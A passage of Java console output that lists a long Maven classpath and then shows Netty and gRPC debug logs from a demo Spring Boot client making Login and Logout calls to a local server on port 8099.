Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\apache\logging\log4j\log4j-to-slf4j\2.17.2\log4j-to-slf4j-2.17.2.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\apache\logging\log4j\log4j-api\2.17.2\log4j-api-2.17.2.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\slf4j\jul-to-slf4j\1.7.36\jul-to-slf4j-1.7.36.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\jakarta\annotation\jakarta.annotation-api\1.3.5\jakarta.annotation-api-1.3.5.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\yaml\snakeyaml\1.30\snakeyaml-1.30.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\apache\tomcat\embed\tomcat-embed-el\9.0.83\tomcat-embed-el-9.0.83.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\hibernate\validator\hibernate-validator\6.2.5.Final\hibernate-validator-6.2.5.Final.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\jakarta\validation\jakarta.validation-api\2.0.2\jakarta.validation-api-2.0.2.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\jboss\logging\jboss-logging\3.4.3.Final\jboss-logging-3.4.3.Final.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\fasterxml\classmate\1.5.1\classmate-1.5.1.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\boot\spring-boot-starter-web\2.7.18\spring-boot-starter-web-2.7.18.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\boot\spring-boot-starter-json\2.7.18\spring-boot-starter-json-2.7.18.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\fasterxml\jackson\datatype\jackson-datatype-jdk8\2.13.5\jackson-datatype-jdk8-2.13.5.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\fasterxml\jackson\datatype\jackson-datatype-jsr310\2.13.5\jackson-datatype-jsr310-2.13.5.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\fasterxml\jackson\module\jackson-module-parameter-names\2.13.5\jackson-module-parameter-names-2.13.5.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\boot\spring-boot-starter-tomcat\2.7.18\spring-boot-starter-tomcat-2.7.18.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\apache\tomcat\embed\tomcat-embed-core\9.0.83\tomcat-embed-core-9.0.83.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\apache\tomcat\embed\tomcat-embed-websocket\9.0.83\tomcat-embed-websocket-9.0.83.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\spring-web\5.3.31\spring-web-5.3.31.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\spring-beans\5.3.31\spring-beans-5.3.31.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\spring-webmvc\5.3.31\spring-webmvc-5.3.31.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\spring-context\5.3.31\spring-context-5.3.31.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\spring-expression\5.3.31\spring-expression-5.3.31.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\boot\spring-boot-starter-aop\2.7.18\spring-boot-starter-aop-2.7.18.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\spring-aop\5.3.31\spring-aop-5.3.31.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\aspectj\aspectjweaver\1.9.7\aspectjweaver-1.9.7.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\projectlombok\lombok\1.18.30\lombok-1.18.30.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\slf4j\slf4j-api\1.7.36\slf4j-api-1.7.36.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\jakarta\xml\bind\jakarta.xml.bind-api\2.3.3\jakarta.xml.bind-api-2.3.3.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\jakarta\activation\jakarta.activation-api\1.2.2\jakarta.activation-api-1.2.2.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\net\bytebuddy\byte-buddy\1.12.23\byte-buddy-1.12.23.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\spring-core\5.3.31\spring-core-5.3.31.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\spring-jcl\5.3.31\spring-jcl-5.3.31.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\boot\spring-boot-starter-data-jpa\2.7.18\spring-boot-starter-data-jpa-2.7.18.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\boot\spring-boot-starter-jdbc\2.7.18\spring-boot-starter-jdbc-2.7.18.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\zaxxer\HikariCP\4.0.3\HikariCP-4.0.3.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\spring-jdbc\5.3.31\spring-jdbc-5.3.31.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\jakarta\transaction\jakarta.transaction-api\1.3.3\jakarta.transaction-api-1.3.3.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\jakarta\persistence\jakarta.persistence-api\2.2.3\jakarta.persistence-api-2.2.3.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\hibernate\hibernate-core\5.6.15.Final\hibernate-core-5.6.15.Final.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\antlr\antlr\2.7.7\antlr-2.7.7.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\jboss\jandex\2.4.2.Final\jandex-2.4.2.Final.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\hibernate\common\hibernate-commons-annotations\5.1.2.Final\hibernate-commons-annotations-5.1.2.Final.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\glassfish\jaxb\jaxb-runtime\2.3.9\jaxb-runtime-2.3.9.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\glassfish\jaxb\txw2\2.3.9\txw2-2.3.9.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\sun\istack\istack-commons-runtime\3.0.12\istack-commons-runtime-3.0.12.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\sun\activation\jakarta.activation\1.2.2\jakarta.activation-1.2.2.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\data\spring-data-jpa\2.7.18\spring-data-jpa-2.7.18.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\data\spring-data-commons\2.7.18\spring-data-commons-2.7.18.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\spring-orm\5.3.31\spring-orm-5.3.31.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\spring-tx\5.3.31\spring-tx-5.3.31.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\spring-aspects\5.3.31\spring-aspects-5.3.31.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\mysql\mysql-connector-j\8.0.33\mysql-connector-j-8.0.33.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\boot\spring-boot-starter-actuator\2.7.18\spring-boot-starter-actuator-2.7.18.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\boot\spring-boot-actuator-autoconfigure\2.7.18\spring-boot-actuator-autoconfigure-2.7.18.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\springframework\boot\spring-boot-actuator\2.7.18\spring-boot-actuator-2.7.18.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\io\micrometer\micrometer-core\1.11.5\micrometer-core-1.11.5.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\io\micrometer\micrometer-commons\1.11.5\micrometer-commons-1.11.5.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\io\micrometer\micrometer-observation\1.11.5\micrometer-observation-1.11.5.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\hdrhistogram\HdrHistogram\2.1.12\HdrHistogram-2.1.12.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\latencyutils\LatencyUtils\2.0.3\LatencyUtils-2.0.3.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\io\micrometer\micrometer-registry-prometheus\1.11.5\micrometer-registry-prometheus-1.11.5.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\io\prometheus\simpleclient_common\0.15.0\simpleclient_common-0.15.0.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\io\prometheus\simpleclient\0.15.0\simpleclient-0.15.0.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\io\prometheus\simpleclient_tracer_otel\0.15.0\simpleclient_tracer_otel-0.15.0.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\io\prometheus\simpleclient_tracer_common\0.15.0\simpleclient_tracer_common-0.15.0.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\io\prometheus\simpleclient_tracer_otel_agent\0.15.0\simpleclient_tracer_otel_agent-0.15.0.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\io\jsonwebtoken\jjwt-api\0.11.5\jjwt-api-0.11.5.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\io\jsonwebtoken\jjwt-impl\0.11.5\jjwt-impl-0.11.5.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\io\jsonwebtoken\jjwt-jackson\0.11.5\jjwt-jackson-0.11.5.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\fasterxml\jackson\core\jackson-databind\2.13.5\jackson-databind-2.13.5.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\fasterxml\jackson\core\jackson-annotations\2.13.5\jackson-annotations-2.13.5.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\fasterxml\jackson\core\jackson-core\2.13.5\jackson-core-2.13.5.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\io\grpc\grpc-netty-shaded\1.56.1\grpc-netty-shaded-1.56.1.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\google\guava\guava\31.1-android\guava-31.1-android.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\google\guava\failureaccess\1.0.1\failureaccess-1.0.1.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\google\guava\listenablefuture\9999.0-empty-to-avoid-conflict-with-guava\listenablefuture-9999.0-empty-to-avoid-conflict-with-guava.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\checkerframework\checker-qual\3.12.0\checker-qual-3.12.0.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\google\j2objc\j2objc-annotations\1.3\j2objc-annotations-1.3.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\google\errorprone\error_prone_annotations\2.18.0\error_prone_annotations-2.18.0.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\io\perfmark\perfmark-api\0.26.0\perfmark-api-0.26.0.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\io\grpc\grpc-protobuf\1.56.1\grpc-protobuf-1.56.1.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\google\code\findbugs\jsr305\3.0.2\jsr305-3.0.2.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\google\api\grpc\proto-google-common-protos\2.17.0\proto-google-common-protos-2.17.0.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\io\grpc\grpc-protobuf-lite\1.56.1\grpc-protobuf-lite-1.56.1.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\io\grpc\grpc-stub\1.56.1\grpc-stub-1.56.1.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\google\protobuf\protobuf-java\3.23.4\protobuf-java-3.23.4.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\net\devh\grpc-spring-boot-starter\2.14.0.RELEASE\grpc-spring-boot-starter-2.14.0.RELEASE.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\net\devh\grpc-server-spring-boot-starter\2.14.0.RELEASE\grpc-server-spring-boot-starter-2.14.0.RELEASE.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\net\devh\grpc-server-spring-boot-autoconfigure\2.14.0.RELEASE\grpc-server-spring-boot-autoconfigure-2.14.0.RELEASE.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\net\devh\grpc-common-spring-boot\2.14.0.RELEASE\grpc-common-spring-boot-2.14.0.RELEASE.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\io\grpc\grpc-core\1.51.0\grpc-core-1.51.0.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\google\code\gson\gson\2.9.1\gson-2.9.1.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\google\android\annotations\4.1.1.4\annotations-4.1.1.4.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\org\codehaus\mojo\animal-sniffer-annotations\1.21\animal-sniffer-annotations-1.21.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\io\grpc\grpc-services\1.51.0\grpc-services-1.51.0.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\com\google\protobuf\protobuf-java-util\3.21.7\protobuf-java-util-3.21.7.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\io\grpc\grpc-api\1.51.0\grpc-api-1.51.0.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\io\grpc\grpc-context\1.51.0\grpc-context-1.51.0.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\net\devh\grpc-client-spring-boot-starter\2.14.0.RELEASE\grpc-client-spring-boot-starter-2.14.0.RELEASE.jar;D:\Program Files\apache-maven-3.9.11-bin\apache-maven-3.9.11\repository\net\devh\grpc-client-spring-boot-autoconfigure\2.14.0.RELEASE\grpc-client-spring-boot-autoconfigure-2.14.0.RELEASE.jar" com.tplink.nbu.demo.basicspringboot.grpc.client.UserGrpcClient 17:36:26.508 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.logging.InternalLoggerFactory - Using SLF4J as the default logging framework 17:36:26.512 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.PlatformDependent0 - -Dio.netty.noUnsafe: false 17:36:26.513 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.PlatformDependent0 - Java version: 8 17:36:26.514 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.PlatformDependent0 - sun.misc.Unsafe.theUnsafe: available 17:36:26.514 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.PlatformDependent0 - sun.misc.Unsafe.copyMemory: available 17:36:26.514 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.PlatformDependent0 - sun.misc.Unsafe.storeFence: available 17:36:26.514 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.PlatformDependent0 - java.nio.Buffer.address: available 17:36:26.515 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.PlatformDependent0 - direct buffer constructor: available 17:36:26.515 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.PlatformDependent0 - java.nio.Bits.unaligned: available, true 17:36:26.515 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.PlatformDependent0 - jdk.internal.misc.Unsafe.allocateUninitializedArray(int): unavailable prior to Java9 17:36:26.515 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.PlatformDependent0 - java.nio.DirectByteBuffer.<init>(long, int): available 17:36:26.515 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.PlatformDependent - sun.misc.Unsafe: available 17:36:26.515 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.PlatformDependent - -Dio.netty.tmpdir: C:\Users\admin\AppData\Local\Temp (java.io.tmpdir) 17:36:26.515 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.PlatformDependent - -Dio.netty.bitMode: 64 (sun.arch.data.model) 17:36:26.516 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.PlatformDependent - Platform: Windows 17:36:26.517 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.PlatformDependent - -Dio.netty.maxDirectMemory: 7559184384 bytes 17:36:26.517 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.PlatformDependent - -Dio.netty.uninitializedArrayAllocationThreshold: -1 17:36:26.517 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.CleanerJava6 - java.nio.ByteBuffer.cleaner(): available 17:36:26.517 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.PlatformDependent - -Dio.netty.noPreferDirect: false 17:36:26.673 [main] DEBUG io.grpc.netty.shaded.io.netty.channel.MultithreadEventLoopGroup - -Dio.netty.eventLoopThreads: 48 17:36:26.681 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.InternalThreadLocalMap - -Dio.netty.threadLocalMap.stringBuilder.initialSize: 1024 17:36:26.681 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.InternalThreadLocalMap - -Dio.netty.threadLocalMap.stringBuilder.maxSize: 4096 17:36:26.685 [main] DEBUG io.grpc.netty.shaded.io.netty.channel.nio.NioEventLoop - -Dio.netty.noKeySetOptimization: false 17:36:26.685 [main] DEBUG io.grpc.netty.shaded.io.netty.channel.nio.NioEventLoop - -Dio.netty.selectorAutoRebuildThreshold: 512 17:36:26.689 [main] DEBUG io.grpc.netty.shaded.io.netty.util.internal.PlatformDependent - org.jctools-core.MpscChunkedArrayQueue: available 17:36:26.893 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.util.ResourceLeakDetector - -Dio.grpc.netty.shaded.io.netty.leakDetection.level: simple 17:36:26.893 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.util.ResourceLeakDetector - -Dio.grpc.netty.shaded.io.netty.leakDetection.targetRecords: 4 17:36:26.896 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.buffer.AbstractByteBuf - -Dio.grpc.netty.shaded.io.netty.buffer.checkAccessible: true 17:36:26.896 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.buffer.AbstractByteBuf - -Dio.grpc.netty.shaded.io.netty.buffer.checkBounds: true 17:36:26.897 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.util.ResourceLeakDetectorFactory - Loaded default ResourceLeakDetector: io.grpc.netty.shaded.io.netty.util.ResourceLeakDetector@ea8c675 17:36:26.925 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.buffer.PooledByteBufAllocator - -Dio.netty.allocator.numHeapArenas: 48 17:36:26.926 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.buffer.PooledByteBufAllocator - -Dio.netty.allocator.numDirectArenas: 48 17:36:26.926 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.buffer.PooledByteBufAllocator - -Dio.netty.allocator.pageSize: 8192 17:36:26.926 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.buffer.PooledByteBufAllocator - -Dio.netty.allocator.maxOrder: 9 17:36:26.926 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.buffer.PooledByteBufAllocator - -Dio.netty.allocator.chunkSize: 4194304 17:36:26.926 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.buffer.PooledByteBufAllocator - -Dio.netty.allocator.smallCacheSize: 256 17:36:26.926 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.buffer.PooledByteBufAllocator - -Dio.netty.allocator.normalCacheSize: 64 17:36:26.926 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.buffer.PooledByteBufAllocator - -Dio.netty.allocator.maxCachedBufferCapacity: 32768 17:36:26.926 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.buffer.PooledByteBufAllocator - -Dio.netty.allocator.cacheTrimInterval: 8192 17:36:26.926 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.buffer.PooledByteBufAllocator - -Dio.netty.allocator.cacheTrimIntervalMillis: 0 17:36:26.926 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.buffer.PooledByteBufAllocator - -Dio.netty.allocator.useCacheForAllThreads: false 17:36:26.926 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.buffer.PooledByteBufAllocator - -Dio.netty.allocator.maxCachedByteBuffersPerChunk: 1023 17:36:26.936 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.channel.DefaultChannelId - -Dio.netty.processId: 28684 (auto-detected) 17:36:26.937 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.util.NetUtil - -Djava.net.preferIPv4Stack: false 17:36:26.937 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.util.NetUtil - -Djava.net.preferIPv6Addresses: false 17:36:27.010 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.util.NetUtilInitializations - Loopback interface: lo (Software Loopback Interface 1, 127.0.0.1) 17:36:27.011 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.util.NetUtil - Failed to get SOMAXCONN from sysctl and file \proc\sys\net\core\somaxconn. Default: 200 17:36:27.015 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.channel.DefaultChannelId - -Dio.netty.machineId: 10:b6:76:ff:fe:57:72:cf (auto-detected) 17:36:27.031 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.buffer.ByteBufUtil - -Dio.netty.allocator.type: pooled 17:36:27.031 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.buffer.ByteBufUtil - -Dio.netty.threadLocalDirectBufferSize: 0 17:36:27.031 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.buffer.ByteBufUtil - -Dio.netty.maxThreadLocalCharBufferSize: 16384 17:36:27.041 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.util.Recycler - -Dio.netty.recycler.maxCapacityPerThread: 4096 17:36:27.041 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.util.Recycler - -Dio.netty.recycler.ratio: 8 17:36:27.041 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.util.Recycler - -Dio.netty.recycler.chunkSize: 32 17:36:27.041 [grpc-default-executor-0] DEBUG io.grpc.netty.shaded.io.netty.util.Recycler - -Dio.netty.recycler.blocking: false 17:36:27.053 [grpc-nio-worker-ELG-1-2] DEBUG io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler - [id: 0xbee5fc34, L:/127.0.0.1:59389 - R:localhost/127.0.0.1:8099] OUTBOUND SETTINGS: ack=false settings={ENABLE_PUSH=0, MAX_CONCURRENT_STREAMS=0, INITIAL_WINDOW_SIZE=1048576, MAX_HEADER_LIST_SIZE=8192} 17:36:27.058 [grpc-nio-worker-ELG-1-2] DEBUG io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler - [id: 0xbee5fc34, L:/127.0.0.1:59389 - R:localhost/127.0.0.1:8099] OUTBOUND WINDOW_UPDATE: streamId=0 windowSizeIncrement=983041 17:36:27.102 [grpc-nio-worker-ELG-1-2] DEBUG io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler - [id: 0xbee5fc34, L:/127.0.0.1:59389 - R:localhost/127.0.0.1:8099] INBOUND SETTINGS: ack=false settings={MAX_CONCURRENT_STREAMS=2147483647, INITIAL_WINDOW_SIZE=1048576, MAX_HEADER_LIST_SIZE=8192} 17:36:27.102 [grpc-nio-worker-ELG-1-2] DEBUG io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler - [id: 0xbee5fc34, L:/127.0.0.1:59389 - R:localhost/127.0.0.1:8099] OUTBOUND SETTINGS: ack=true 17:36:27.111 [grpc-nio-worker-ELG-1-2] DEBUG io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler - [id: 0xbee5fc34, L:/127.0.0.1:59389 - R:localhost/127.0.0.1:8099] INBOUND WINDOW_UPDATE: streamId=0 windowSizeIncrement=983041 17:36:27.112 [grpc-nio-worker-ELG-1-2] DEBUG io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler - [id: 0xbee5fc34, L:/127.0.0.1:59389 - R:localhost/127.0.0.1:8099] INBOUND SETTINGS: ack=true 17:36:27.118 [grpc-nio-worker-ELG-1-2] DEBUG io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler - [id: 0xbee5fc34, L:/127.0.0.1:59389 - R:localhost/127.0.0.1:8099] OUTBOUND HEADERS: streamId=3 headers=GrpcHttp2OutboundHeaders[:authority: localhost:8099, :path: /user.UserService/Login, :method: POST, :scheme: http, content-type: application/grpc, te: trailers, user-agent: grpc-java-netty/1.51.0, grpc-accept-encoding: gzip] streamDependency=0 weight=16 exclusive=false padding=0 endStream=false 17:36:27.125 [grpc-nio-worker-ELG-1-2] DEBUG io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler - [id: 0xbee5fc34, L:/127.0.0.1:59389 - R:localhost/127.0.0.1:8099] OUTBOUND DATA: streamId=3 padding=0 endStream=true length=61 bytes=00000000380a367b22757365726e616d65223a2274657374406578616d706c652e636f6d222c2270617373776f7264223a22736563757265313233227d 17:36:27.152 [grpc-nio-worker-ELG-1-2] DEBUG io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler - [id: 0xbee5fc34, L:/127.0.0.1:59389 - R:localhost/127.0.0.1:8099] INBOUND PING: ack=false bytes=1234 17:36:27.152 [grpc-nio-worker-ELG-1-2] DEBUG io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler - [id: 0xbee5fc34, L:/127.0.0.1:59389 - R:localhost/127.0.0.1:8099] OUTBOUND PING: ack=true bytes=1234 17:36:27.250 [grpc-nio-worker-ELG-1-2] DEBUG io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler - [id: 0xbee5fc34, L:/127.0.0.1:59389 - R:localhost/127.0.0.1:8099] INBOUND HEADERS: streamId=3 headers=GrpcHttp2ResponseHeaders[:status: 200, content-type: application/grpc, grpc-status: 9, grpc-message: User not found] padding=0 endStream=true 17:36:27.254 [grpc-nio-worker-ELG-1-2] DEBUG io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler - [id: 0xbee5fc34, L:/127.0.0.1:59389 - R:localhost/127.0.0.1:8099] OUTBOUND HEADERS: streamId=5 headers=GrpcHttp2OutboundHeaders[:authority: localhost:8099, :path: /user.UserService/Logout, :method: POST, :scheme: http, content-type: application/grpc, te: trailers, user-agent: grpc-java-netty/1.51.0, grpc-accept-encoding: gzip] streamDependency=0 weight=16 exclusive=false padding=0 endStream=false 17:36:27.254 [grpc-nio-worker-ELG-1-2] DEBUG io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler - [id: 0xbee5fc34, L:/127.0.0.1:59389 - R:localhost/127.0.0.1:8099] OUTBOUND DATA: streamId=5 padding=0 endStream=true length=26 bytes=00000000150a137b22757365726e616d65223a2274657374227d 17:36:27.257 [grpc-nio-worker-ELG-1-2] DEBUG io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler - [id: 0xbee5fc34, L:/127.0.0.1:59389 - R:localhost/127.0.0.1:8099] INBOUND HEADERS: streamId=5 headers=GrpcHttp2ResponseHeaders[:status: 200, content-type: application/grpc, grpc-encoding: identity, grpc-accept-encoding: gzip] padding=0 endStream=false 17:36:27.261 [grpc-nio-worker-ELG-1-2] DEBUG io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler - [id: 0xbee5fc34, L:/127.0.0.1:59389 - 